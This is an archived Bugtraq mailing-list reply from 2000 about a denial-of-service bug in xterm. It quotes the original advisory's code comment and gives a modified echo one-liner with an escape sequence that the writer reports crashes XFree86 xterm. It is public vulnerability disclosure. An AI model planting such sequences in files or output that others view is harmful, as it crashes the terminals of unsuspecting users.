[15197] in bugtraq
Re: [rootshell.com] Xterm DoS Attack
daemon@ATHENA.MIT.EDU (Hans, Sebastian)
Sun Jun 4 22:46:33 2000
Message-Id: <200006041635.SAA07110@sebs.hans.de>
Date: Sun, 4 Jun 2000 18:35:27 +0200
Reply-To: gone@GRAFFITI.NET
From: "Hans, Sebastian" <gone@GRAFFITI.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
> /*
> *
> * xterm Denial of Service Attack
> * (C) 2000 Kit Knox <kit@rootshell.com> - 5/31/2000
> *
> * Tested against: xterm (XFree86 3.3.3.1b(88b) -- crashes
snip
> * Embedding "ESCAPE[4;65535;65535t" (where escape is the escape character)
> * inside files, directories, etc will have the same effect as this code.
> *
> */
I tried this with my xterm (XFree86 3.3.3.1b(88b)) - it didn't work.
Substituting 65536 for 65535 did the job:
echo -e "\033[4;65536;65536t"
Sebastian Hans
gone@graffiti.net
--
The light at the end of the tunnel is the headlight of an approaching
train.